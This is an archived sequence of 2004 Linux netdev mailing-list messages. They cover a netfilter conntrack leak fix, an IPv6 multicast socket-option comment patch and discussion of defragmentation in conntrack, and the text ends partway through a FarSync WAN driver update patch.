; Wed, 4 Feb 2004 02:20:05 -0800 Received: from 10.0.0.42 (steve@navaho.co.uk) by pinus.navaho with SMTP (Navaho Galium v3.8.2 [Linux/i686]) id: 1075887426; Wed, 04 Feb 2004 10:19:50 GMT X-Sender-Local: 10.0.0.42 Received: from sorbus2.navaho (localhost.localdomain [127.0.0.1]) by sorbus2.navaho (8.12.10/8.12.10) with ESMTP id i14AJo5G015637; Wed, 4 Feb 2004 10:19:50 GMT Received: from localhost (steve@localhost) by sorbus2.navaho (8.12.10/8.12.10/Submit) with ESMTP id i14AJjJL015630; Wed, 4 Feb 2004 10:19:47 GMT X-Authentication-Warning: sorbus2.navaho: steve owned process doing -bs Date: Wed, 4 Feb 2004 10:19:45 +0000 (GMT) From: Steve Hill X-X-Sender: steve@sorbus2.navaho To: Jozsef Kadlecsik cc: David Miller , netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: Re: [PATCH] fix netfilter refcounting [was Re: Conntrack leak (2.6.2rc2)] In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Navaho-ID: 4020bd3e X-Domain-Forwarded-By: pinus.navaho X-Navaho-Spam-Rating: 0.000000 X-Spam-Override: Local user [steve@navaho.co.uk] X-Navaho-Spam: No X-archive-position: 2983 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: steve@navaho.co.uk Precedence: bulk X-list: netdev On Tue, 3 Feb 2004, Jozsef Kadlecsik wrote: > Steve Hill reported a conntrack leakage in 2.6.2-rc2 when nat is enabled > and the system forwards fragmented packets. It turned out that an > nf_conntrack_put was missing from ip_copy_metadata: I noticed this fix made it into the 2.6.2 release last night, so I have tested with a vanilla 2.6.2 kernel this morning and can confirm it's fixed the problem. Thank you. - Steve Hill Senior Software Developer Email: steve@navaho.co.uk Navaho Technologies Ltd. Tel: +44-870-7034015 ... Alcohol and calculus don't mix - Don't drink and derive! ... From yoshfuji@linux-ipv6.org Wed Feb 4 04:13:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Feb 2004 04:13:43 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i14CDEKO009906 for ; Wed, 4 Feb 2004 04:13:14 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 487A233CA5; Wed, 4 Feb 2004 20:37:39 +0900 (JST) Date: Wed, 04 Feb 2004 20:37:39 +0900 (JST) Message-Id: <20040204.203739.16838230.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: yoshfuji@linux-ipv6.org, netdev@oss.sgi.com Subject: [PATCH] IPV6: note on shared socket options From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2984 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Hello. There're several socket options for multicast shared between IPv4 and IPv6. Add a note that some range is already used for them. (Alternatevely, we could define other names like this: #define IPV6_MCAST_JOIN_GROUP MCAST_JOIN_GROUP #define IPV6_MCAST_BLOCK_SOURCE MCAST_BLOCK_SOURCE /* bla, bla ... */ ) ===== include/linux/in6.h 1.5 vs edited ===== --- 1.5/include/linux/in6.h Fri Mar 21 14:23:30 2003 +++ edited/include/linux/in6.h Wed Feb 4 20:30:47 2004 @@ -183,5 +183,17 @@ #define IPV6_IPSEC_POLICY 34 #define IPV6_XFRM_POLICY 35 +/* + * Multicast: + * Following socket options are shared between IPv4 and IPv6. + * + * MCAST_JOIN_GROUP 42 + * MCAST_BLOCK_SOURCE 43 + * MCAST_UNBLOCK_SOURCE 44 + * MCAST_LEAVE_GROUP 45 + * MCAST_JOIN_SOURCE_GROUP 46 + * MCAST_LEAVE_SOURCE_GROUP 47 + * MCAST_MSFILTER 48 + */ #endif -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From uucp@coruscant.gnumonks.org Wed Feb 4 04:27:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Feb 2004 04:27:50 -0800 (PST) Received: from coruscant.gnumonks.org (mail@coruscant.franken.de [193.174.159.226]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i14CRXKO013801 for ; Wed, 4 Feb 2004 04:27:34 -0800 Received: from uucp by coruscant.gnumonks.org with local-bsmtp (Exim 4.20) id 1AoM7w-0004sB-3l for netdev@oss.sgi.com; Wed, 04 Feb 2004 13:27:32 +0100 Received: from laforge by obroa-skai.gnumonks.org with local (Exim 3.36 #1) id 1AoJD3-0007Sk-00; Wed, 04 Feb 2004 10:20:37 +0100 Date: Wed, 4 Feb 2004 10:20:37 +0100 From: Harald Welte To: Steve Hill Cc: Jozsef Kadlecsik , netdev@oss.sgi.com Subject: Re: Conntrack leak (2.6.2rc2) Message-ID: <20040204092037.GW25175@obroa-skai.de.gnumonks.org> References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="NgG1H2o5aFKkgPy/" Content-Disposition: inline In-Reply-To: X-Operating-System: Linux obroa-skai.de.gnumonks.org 2.6.1-rc1-ben1 X-Date: Today is Prickle-Prickle, the 34th day of Chaos in the YOLD 3170 User-Agent: Mutt/1.5.4i X-archive-position: 2986 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: laforge@gnumonks.org Precedence: bulk X-list: netdev --NgG1H2o5aFKkgPy/ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Feb 02, 2004 at 10:48:08AM +0000, Steve Hill wrote: > If fragmented packets do not lead to conntrack entries, how are their=20 > connections tracked? I was under the impression that fragmented packets= =20 > were received by one NIC, defragged, pushed through all the netfilter cod= e=20 > and then transmitted by another NIC (after being fragmented again if they= =20 > are > MTU size)? Yes, this is indeed the case. Whihc is not a contradiction to what Jozsef said. They are defragmented before getting passed to conntrack, and thus look exactly the same like unfragmented packets throughout the network stack (until NF_IP_POST_ROUTING). > Machines 1 and 3 are running the 2.4 kernel for me, but that shouldn't be= =20 > important. > Machine 2 is running 2.6.2rc2. > I am making > MTU sized pings from machine 1 to machine 3 and machine 2 i= s=20 > showing the leak. Are you running any netfilter / networking related patches? Anything else special about the setup? > - Steve Hill > Senior Software Developer Email: steve@navaho.co.uk --=20 - Harald Welte http://www.gnumonks.org/ =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D Programming is like sex: One mistake and you have to support it your lifeti= me --NgG1H2o5aFKkgPy/ Content-Type: application/pgp-signature; name="signature.asc" Content-Description: Digital signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQFAILllXaXGVTD0i/8RAn6DAJ48WL3Ieh9oU/HEtUppQT8SmDA0iQCgli9R NRjxIGqWbQ4icAqaOqCtR7c= =Pbe+ -----END PGP SIGNATURE----- --NgG1H2o5aFKkgPy/-- From uucp@coruscant.gnumonks.org Wed Feb 4 04:27:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Feb 2004 04:27:49 -0800 (PST) Received: from coruscant.gnumonks.org (mail@coruscant.franken.de [193.174.159.226]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i14CRYKO013802 for ; Wed, 4 Feb 2004 04:27:34 -0800 Received: from uucp by coruscant.gnumonks.org with local-bsmtp (Exim 4.20) id 1AoM7x-0004sT-0l for netdev@oss.sgi.com; Wed, 04 Feb 2004 13:27:33 +0100 Received: from laforge by obroa-skai.gnumonks.org with local (Exim 3.36 #1) id 1AoJFC-0007T4-00; Wed, 04 Feb 2004 10:22:50 +0100 Date: Wed, 4 Feb 2004 10:22:50 +0100 From: Harald Welte To: Jozsef Kadlecsik Cc: Steve Hill , netdev@oss.sgi.com Subject: Re: Conntrack leak (2.6.2rc2) Message-ID: <20040204092250.GX25175@obroa-skai.de.gnumonks.org> References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="9a9Vq1BJdYBEXpLG" Content-Disposition: inline In-Reply-To: X-Operating-System: Linux obroa-skai.de.gnumonks.org 2.6.1-rc1-ben1 X-Date: Today is Prickle-Prickle, the 34th day of Chaos in the YOLD 3170 User-Agent: Mutt/1.5.4i X-archive-position: 2985 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: laforge@gnumonks.org Precedence: bulk X-list: netdev --9a9Vq1BJdYBEXpLG Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Feb 02, 2004 at 11:34:22AM +0100, Jozsef Kadlecsik wrote: > On Mon, 2 Feb 2004, Steve Hill wrote: >=20 > > > init_conntrack is called only when we have full, non-fragmented > > > packets: ip_conntrack_in explicitly calls the proper function to gath= er > > > the fragments before calling init_conntrack. There is no memory leak > > > there. > > > > >From my observations, init_conntrack() is being called for each packet > > (not fragment, packet), which seems right. >=20 > No, that's not true (and would be bad). Please check the code. To be more precise: It is called for every NEW packet, after defragmentation happens (i.e. if ip_conntrack_find_get() returns NULL, meaning there is no entry in the hash table.). --=20 - Harald Welte http://www.gnumonks.org/ =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D Programming is like sex: One mistake and you have to support it your lifeti= me --9a9Vq1BJdYBEXpLG Content-Type: application/pgp-signature; name="signature.asc" Content-Description: Digital signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQFAILnqXaXGVTD0i/8RAgCeAJ4zIlZw8RfbIvpl1Y5KmeNeWh7KRACeNIuI PxR5xYI/t4THVqUnFztjmCs= =SCr9 -----END PGP SIGNATURE----- --9a9Vq1BJdYBEXpLG-- From kevin.curtis@farsite.co.uk Wed Feb 4 08:06:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Feb 2004 08:06:32 -0800 (PST) Received: from relay5.ftech.net (relay5.ftech.net [195.200.0.100]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i14G6OKO005983 for ; Wed, 4 Feb 2004 08:06:25 -0800 Received: from pc1.faradsl.ftech.co.uk ([212.32.46.162] helo=GENERAL.hq.farsitecommunications.com) by relay5.ftech.net with esmtp (Exim 3.36-ftechp12 #2) id 1AoPXf-0003xq-00; Wed, 04 Feb 2004 16:06:19 +0000 Received: by general.hq.farsitecommunications.com with Internet Mail Service (5.5.2653.19) id ; Wed, 4 Feb 2004 16:06:19 -0000 Message-ID: <7C078C66B7752B438B88E11E5E20E72E25CBB5@general.hq.farsitecommunications.com> From: Kevin Curtis To: "'netdev@oss.sgi.com'" Cc: "'davem@redhat.com'" , "'jgarzik@redhat.com'" Subject: Update FarSync WAN driver in 2.4.25 Date: Wed, 4 Feb 2004 16:06:16 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01C3EB38.D1A7D900" X-archive-position: 2987 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kevin.curtis@farsite.co.uk Precedence: bulk X-list: netdev This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C3EB38.D1A7D900 Content-Type: text/plain Hi, please find attached a patch to update the FarSync WAN driver in the 2.4 Kernel. The driver has been updated in the following ways: 1) Provides support for new FarSync cards T1U, T2U, T4U and TE1 2) Provides support for an E1 interface 3) Provides support for a variant of X.21 that allows transmit and receive clocks 4) Provide a raw socket interface directly to the data from the line. 5) Improves performance with less time in interrupts and more in BH's In the main the only files affected are the farsync.c and farsync.h files, although there have been some additions to the if.h file. Please try to include it in the 2.4.25 release. Never having submitted such a large patch before, let me know if there is anything I should have done that I haven't. But I think I remember a mail a little while back asking for patches to be submitted through you? Kind Regards Kevin Curtis Linux Development FarSite Communications Ltd http://www.farsite.co.uk tel: +44 1256 330461 fax: +44 1256 854931 ------_=_NextPart_000_01C3EB38.D1A7D900 Content-Type: application/octet-stream; name="farsync.patch" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="farsync.patch" diff -urN linux-2.4.25-orig/drivers/net/wan/farsync.c = linux/drivers/net/wan/farsync.c=0A= --- linux-2.4.25-orig/drivers/net/wan/farsync.c 2004-02-04 = 12:08:41.000000000 +0000=0A= +++ linux/drivers/net/wan/farsync.c 2004-02-04 13:15:45.000000000 = +0000=0A= @@ -1,9 +1,9 @@=0A= /*=0A= - * FarSync X21 driver for Linux (generic HDLC version)=0A= + * FarSync X21 driver for Linux (2.4.x kernel version)=0A= *=0A= * Actually sync driver for X.21, V.35 and V.24 on FarSync = T-series cards=0A= *=0A= - * Copyright (C) 2001 FarSite Communications Ltd.=0A= + * Copyright (C) 2001-2002 FarSite Communications Ltd.=0A= * www.farsite.co.uk=0A= *=0A= * This program is free software; you can redistribute it = and/or=0A= @@ -11,17 +11,20 @@=0A= * as published by the Free Software Foundation; either = version=0A= * 2 of the License, or (at your option) any later version.=0A= *=0A= - * Author: R.J.Dunlop =0A= + * Author: R.J.Dunlop =0A= + * Maintainer: Kevin Curtis =0A= */=0A= =0A= #include =0A= #include =0A= +#include =0A= #include =0A= #include =0A= #include =0A= #include =0A= #include =0A= #include =0A= +#include =0A= =0A= #include "farsync.h"=0A= =0A= @@ -31,6 +34,11 @@=0A= */=0A= MODULE_AUTHOR("R.J.Dunlop ");=0A= MODULE_DESCRIPTION("FarSync T-Series X21 driver. FarSite = Communications Ltd.");=0A= +MODULE_PARM (fst_txq_low, "i");=0A= +MODULE_PARM (fst_txq_high, "i");=0A= +MODULE_PARM (fst_max_reads, "i");=0A= +MODULE_PARM (fst_excluded_cards, "i");=0A= +MODULE_PARM (fst_excluded_list, "0-32i");=0A= MODULE_LICENSE("GPL");=0A= =0A= EXPORT_NO_SYMBOLS;=0A= @@ -40,16 +48,21 @@=0A= * = =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= */=0A= =0A= -/* Number of ports (per card) supported=0A= +/* Number of ports (per card) and cards supported=0A= */=0A= #define FST_MAX_PORTS 4=0A= -=0A= +#define FST_MAX_CARDS 32=0A= =0A= /* PCI vendor and device IDs=0A= */=0A= #define FSC_PCI_VENDOR_ID 0x1619 /* FarSite Communications Ltd = */=0A= #define T2P_PCI_DEVICE_ID 0x0400 /* T2P X21 2 port card */=0A= #define T4P_PCI_DEVICE_ID 0x0440 /* T4P X21 4 port card */=0A= +#define T1U_PCI_DEVICE_ID 0x0610 /* T1U X21 1 port card */=0A= +#define T2U_PCI_DEVICE_ID 0x0620 /* T2U X21 2 port card */=0A= +#define T4U_PCI_DEVICE_ID 0x0640 /* T4U X21 4 port card */=0A= +#define TE1_PCI_DEVICE_ID 0x1610 /* TE1 X21 1 port card */=0A= +#define TE1C_PCI_DEVICE_ID 0x1612 /* TE1 X21 1 port channelised = */=0A= =0A= =0A= /* Default parameters for the link=0A= @@ -59,6 +72,15 @@=0A= * this down assuming a slower = line I=0A= * guess.=0A= */=0A= +#define FST_TXQ_DEPTH 16 /* This one is for the = buffering=0A= + * of frames on the way down = to the card=0A= + * so that we can keep the = card busy=0A= + * and maximise throughput=0A= + */=0A= +#define FST_HIGH_WATER_MARK 12 /* Point at which we flow = control=0A= + * network layer */=0A= +#define FST_LOW_WATER_MARK 8 /* Point at which we remove = flow=0A= + * control from network layer */=0A= #define FST_MAX_MTU 8000 /* Huge but possible */=0A= #define FST_DEF_MTU 1500 /* Common sane value */=0A= =0A= @@ -72,6 +94,15 @@=0A= #endif=0A= =0A= =0A= +/*=0A= + * Modules parameters and associated varaibles=0A= + */=0A= +int fst_txq_low=3DFST_LOW_WATER_MARK;=0A= +int fst_txq_high=3DFST_HIGH_WATER_MARK;=0A= +int fst_max_reads=3D7;=0A= +int fst_excluded_cards=3D0;=0A= +int fst_excluded_list[FST_MAX_CARDS];=0A= +=0A= /* Card shared memory layout=0A= * = =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=0A= */=0A= @@ -87,7 +118,7 @@=0A= * be used to check that we have not got out of step with the = firmware=0A= * contained in the .CDE files.=0A= */=0A= -#define SMC_VERSION 11=0A= +#define SMC_VERSION 24=0A= =0A= #define FST_MEMSIZE 0x100000 /* Size of card memory (1Mb) */=0A= =0A= @@ -161,7 +192,7 @@=0A= #define RX_ENP 0x01 /* Rx: end of packet */=0A= =0A= =0A= -/* Interrupts from the card are caused by various events and these are = presented=0A= +/* Interrupts from the card are caused by various events which are = presented=0A= * in a circular buffer as several events may be processed on one = physical int=0A= */=0A= #define MAX_CIRBUFF 32=0A= @@ -193,15 +224,59 @@=0A= #define TXC_UNDF 0x2A=0A= #define TXD_UNDF 0x2B=0A= =0A= +#define F56_INT 0x2C=0A= +#define M32_INT 0x2D=0A= +=0A= +#define TE1_ALMA 0x30=0A= +=0A= =0A= /* Port physical configuration. See farsync.h for field values */=0A= struct port_cfg {=0A= u16 lineInterface; /* Physical interface type */=0A= u8 x25op; /* Unused at present */=0A= u8 internalClock; /* 1 =3D> internal clock, 0 =3D> = external */=0A= + u8 transparentMode; /* 1 =3D> on, 0 =3D> off */=0A= + u8 invertClock; /* 0 =3D> normal, 1 =3D> inverted = */=0A= + u8 padBytes[6]; /* Padding */=0A= u32 lineSpeed; /* Speed in bps */=0A= };=0A= =0A= +/* TE1 port physical configuration */=0A= +struct su_config {=0A= + u32 dataRate;=0A= + u8 clocking;=0A= + u8 framing;=0A= + u8 structure;=0A= + u8 interface;=0A= + u8 coding;=0A= + u8 lineBuildOut;=0A= + u8 equalizer;=0A= + u8 transparentMode;=0A= + u8 loopMode;=0A= + u8 range;=0A= + u8 txBufferMode;=0A= + u8 rxBufferMode;=0A= + u8 startingSlot;=0A= + u8 losThreshold;=0A= + u8 enableIdleCode;=0A= + u8 idleCode;=0A= + u8 spare[44];=0A= +};=0A= +=0A= +/* TE1 Status */=0A= +struct su_status {=0A= + u32 receiveBufferDelay;=0A= + u32 framingErrorCount;=0A= + u32 codeViolationCount;=0A= + u32 crcErrorCount;=0A= + u32 lineAttenuation;=0A= + u8 portStarted;=0A= + u8 lossOfSignal;=0A= + u8 receiveRemoteAlarm;=0A= + u8 alarmIndicationSignal;=0A= + u8 spare[40];=0A= +};=0A= +=0A= /* Finally sling all the above together into the shared memory = structure.=0A= * Sorry it's a hodge podge of arrays, structures and unused bits, = it's been=0A= * evolving under NT for some time so I guess we're stuck with it.=0A= @@ -259,14 +334,14 @@=0A= u16 portMailbox[FST_MAX_PORTS][2]; /* command, modifier = */=0A= u16 cardMailbox[4]; /* Not used */=0A= =0A= - /* Number of times that card thinks = the host has=0A= + /* Number of times the card thinks the = host has=0A= * missed an interrupt by not = acknowledging=0A= * within 2mS (I guess NT has = problems)=0A= */=0A= u32 interruptRetryCount;=0A= =0A= /* Driver private data used as an ID. = We'll not=0A= - * use this on Linux I'd rather keep = such things=0A= + * use this as I'd rather keep such = things=0A= * in main memory rather than on the = PCI bus=0A= */=0A= u32 portHandle[FST_MAX_PORTS];=0A= @@ -293,9 +368,12 @@=0A= =0A= u16 portScheduleOffset;=0A= =0A= + struct su_config suConfig; /* TE1 Bits */=0A= + struct su_status suStatus;=0A= +=0A= u32 endOfSmcSignature; /* endOfSmcSignature MUST be the last = member of=0A= - * the structure and marks the end of = the shared=0A= - * memory. Adapter code initializes = its value as=0A= + * the structure and marks the end of = shared=0A= + * memory. Adapter code initializes it = as=0A= * END_SIG.=0A= */=0A= };=0A= @@ -312,6 +390,42 @@=0A= #define ABORTTX 5 /* Abort the transmitter for a port = */=0A= #define SETV24O 6 /* Set V24 outputs */=0A= =0A= +/* PLX Chip Register Offsets */=0A= +#define CNTRL_9052 0x50 /* Control Register */=0A= +#define CNTRL_9054 0x6c /* Control Register */=0A= +=0A= +#define PCIILR 0x3c /* Interrupt Line Register */=0A= +#define PCICR 0x04 /* Interrupt Control Register */=0A= +#define INTCSR_9052 0x4c /* Interrupt control/status register = */=0A= +#define INTCSR_9054 0x68 /* Interrupt control/status register = */=0A= +=0A= +/* 9054 DMA Registers */=0A= +/*=0A= + * Note that we will be using DMA Channel 0 for copying rx data=0A= + * and Channel 1 for copying tx data=0A= + */=0A= +#define DMAMODE0 0x80=0A= +#define DMAPADR0 0x84=0A= +#define DMALADR0 0x88=0A= +#define DMASIZ0 0x8c=0A= +#define DMADPR0 0x90=0A= +#define DMAMODE1 0x94=0A= +#define DMAPADR1 0x98=0A= +#define DMALADR1 0x9c=0A= +#define DMASIZ1 0xa0=0A= +#define DMADPR1 0xa4=0A= +#define DMACSR0 0xa8=0A= +#define DMACSR1 0xa9=0A= +#define DMAARB 0xac=0A= +#define DMATHR 0xb0=0A= +#define DMADAC0 0xb4=0A= +#define DMADAC1 0xb8=0A= +#define DMAMARBR 0xac=0A= +=0A= +#define FST_MIN_DMA_LEN 64=0A= +#define FST_RX_DMA_INT 0x01=0A= +#define FST_TX_DMA_INT 0x02=0A= +#define FST_CARD_INT 0x04=0A= =0A= /* Larger buffers are positioned in memory at offset BFM_BASE */=0A= struct buf_window {=0A= @@ -336,10 +450,18 @@=0A= int index; /* Port index on the card = */=0A= int hwif; /* Line hardware = (lineInterface copy) */=0A= int run; /* Port is running */=0A= + int mode; /* Normal or FarSync raw = */=0A= int rxpos; /* Next Rx buffer to use */=0A= int txpos; /* Next Tx buffer to use */=0A= int txipos; /* Next Tx buffer to check for = free */=0A= - int txcnt; /* Count of Tx buffers in use = */=0A= + int start; /* Indication of start/stop to = network */=0A= + /*=0A= + * A sixteen entry transmit queue=0A= + */=0A= + int txqs; /* index to get next buffer to = tx */=0A= + int txqe; /* index to queue next packet = */=0A= + struct sk_buff *txq[FST_TXQ_DEPTH]; /* The queue */=0A= + int rxqdepth;=0A= };=0A= =0A= /* Per card information=0A= @@ -357,6 +479,24 @@=0A= unsigned short pci_conf; /* PCI card config in I/O = space */=0A= /* Per port info */=0A= struct fst_port_info ports[ FST_MAX_PORTS ];=0A= + struct pci_dev *device; /* Information about the pci = device */=0A= + int card_no; /* Inst of the card on the = system */=0A= + int family; /* TxP or TxU */=0A= + int dmarx_in_progress;=0A= + int dmatx_in_progress;=0A= + unsigned long int_count;=0A= + unsigned long int_time_ave;=0A= + void *rx_dma_handle_host;=0A= + dma_addr_t rx_dma_handle_card; =0A= + void *tx_dma_handle_host;=0A= + dma_addr_t tx_dma_handle_card; =0A= + struct sk_buff *dma_skb_rx;=0A= + struct fst_port_info *dma_port_rx;=0A= + struct fst_port_info *dma_port_tx;=0A= + int dma_len_rx;=0A= + int dma_len_tx;=0A= + int dma_txpos;=0A= + int dma_rxpos;=0A= };=0A= =0A= /* Convert an HDLC device pointer into a port info pointer and similar = */=0A= @@ -403,7 +543,7 @@=0A= printk ( KERN_DEBUG FST_NAME ": " fmt, = ## A )=0A= =0A= #else=0A= -# define dbg(X...) /* NOP */=0A= +#define dbg(X...) /* NOP */=0A= #endif=0A= =0A= =0A= @@ -422,12 +562,131 @@=0A= FST_TYPE_T2P },=0A= { FSC_PCI_VENDOR_ID, T4P_PCI_DEVICE_ID, PCI_ANY_ID, = PCI_ANY_ID, 0, 0,=0A= FST_TYPE_T4P },=0A= + { FSC_PCI_VENDOR_ID, T1U_PCI_DEVICE_ID, PCI_ANY_ID, = PCI_ANY_ID, 0, 0,=0A= + FST_TYPE_T1U },=0A= + { FSC_PCI_VENDOR_ID, T2U_PCI_DEVICE_ID, PCI_ANY_ID, = PCI_ANY_ID, 0, 0,=0A= + FST_TYPE_T2U },=0A= + { FSC_PCI_VENDOR_ID, T4U_PCI_DEVICE_ID, PCI_ANY_ID, = PCI_ANY_ID, 0, 0,=0A= + FST_TYPE_T4U },=0A= + { FSC_PCI_VENDOR_ID, TE1_PCI_DEVICE_ID, PCI_ANY_ID, = PCI_ANY_ID, 0, 0,=0A= + FST_TYPE_TE1 },=0A= + { FSC_PCI_VENDOR_ID, TE1C_PCI_DEVICE_ID, PCI_ANY_ID, = PCI_ANY_ID, 0, 0,=0A= + FST_TYPE_TE1 },=0A= { 0, } /* End */=0A= };=0A= =0A= MODULE_DEVICE_TABLE ( pci, fst_pci_dev_id );=0A= =0A= =0A= +/*=0A= + * Device Driver Work Queues=0A= + *=0A= + * So that we don't spend too much time processing events in the = =0A= + * Interrupt Service routine, we will declare a work queue per = Card =0A= + * and make the ISR schedule a task in the queue for later = execution.=0A= + */=0A= +=0A= +static void do_bottom_half_tx (struct fst_card_info *card);=0A= +static void do_bottom_half_rx (struct fst_card_info *card);=0A= +=0A= +struct tq_struct fst_int_task;=0A= +struct tq_struct fst_tx_task;=0A= +struct fst_card_info *fst_card_array[FST_MAX_CARDS];=0A= +spinlock_t fst_work_q_lock;=0A= +u64 fst_work_txq;=0A= +u64 fst_work_intq;=0A= +=0A= +static void=0A= +fst_q_work_item (u64 *queue, int card_index)=0A= +{=0A= + unsigned long flags;=0A= + u64 mask;=0A= +=0A= + /*=0A= + * Grab the queue exclusively=0A= + */=0A= + spin_lock_irqsave(&fst_work_q_lock, flags);=0A= +=0A= + /*=0A= + * Making an entry in the queue is simply a matter of setting=0A= + * a bit for the card indicating that there is work to do in the=0A= + * bottom half for the card. Note the limitation of 64 cards.=0A= + * That ought to be enough=0A= + */=0A= + mask =3D 1 << card_index;=0A= + *queue |=3D mask; =0A= + spin_unlock_irqrestore(&fst_work_q_lock, flags);=0A= +}=0A= +=0A= +=0A= +static void=0A= +fst_process_tx_work_q ( void *work_q)=0A= +{=0A= + unsigned long flags;=0A= + u64 work_txq;=0A= + int i;=0A= +=0A= + /*=0A= + * Grab the queue exclusively=0A= + */=0A= + dbg(DBG_TX, "fst_process_tx_work_q\n");=0A= + spin_lock_irqsave(&fst_work_q_lock, flags);=0A= + work_txq =3D fst_work_txq;=0A= + fst_work_txq =3D 0;=0A= + spin_unlock_irqrestore(&fst_work_q_lock, flags);=0A= +=0A= + /*=0A= + * Call the bottom half for each card with work waiting=0A= + */=0A= + for (i=3D0; i>1;=0A= + }=0A= +}=0A= +=0A= +static void=0A= +fst_process_int_work_q ( void *work_q)=0A= +{=0A= + unsigned long flags;=0A= + u64 work_intq;=0A= + int i;=0A= +=0A= + /*=0A= + * Grab the queue exclusively=0A= + */=0A= + dbg(DBG_INTR, "fst_process_int_work_q\n");=0A= + spin_lock_irqsave(&fst_work_q_lock, flags);=0A= + work_intq =3D fst_work_intq;=0A= + fst_work_intq =3D 0;=0A= + spin_unlock_irqrestore(&fst_work_q_lock, flags);=0A= +=0A= + /*=0A= + * Call the bottom half for each card with work waiting=0A= + */=0A= + for (i=3D0; i>1;=0A= + }=0A= +}=0A= +=0A= +=0A= /* Card control functions=0A= * = =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= */=0A= @@ -436,17 +695,55 @@=0A= * Used to be a simple write to card control space but a glitch in the = latest=0A= * AMD Am186CH processor means that we now have to do it by asserting = and de-=0A= * asserting the PLX chip PCI Adapter Software Reset. Bit 30 in CNTRL = register=0A= - * at offset 0x50.=0A= + * at offset 9052_CNTRL. Note the updates for the TXU.=0A= */=0A= static inline void=0A= fst_cpureset ( struct fst_card_info *card )=0A= {=0A= + unsigned char interrupt_line_register;=0A= + unsigned long j =3D jiffies + 1;=0A= unsigned int regval;=0A= =0A= - regval =3D inl ( card->pci_conf + 0x50 );=0A= -=0A= - outl ( regval | 0x40000000, card->pci_conf + 0x50 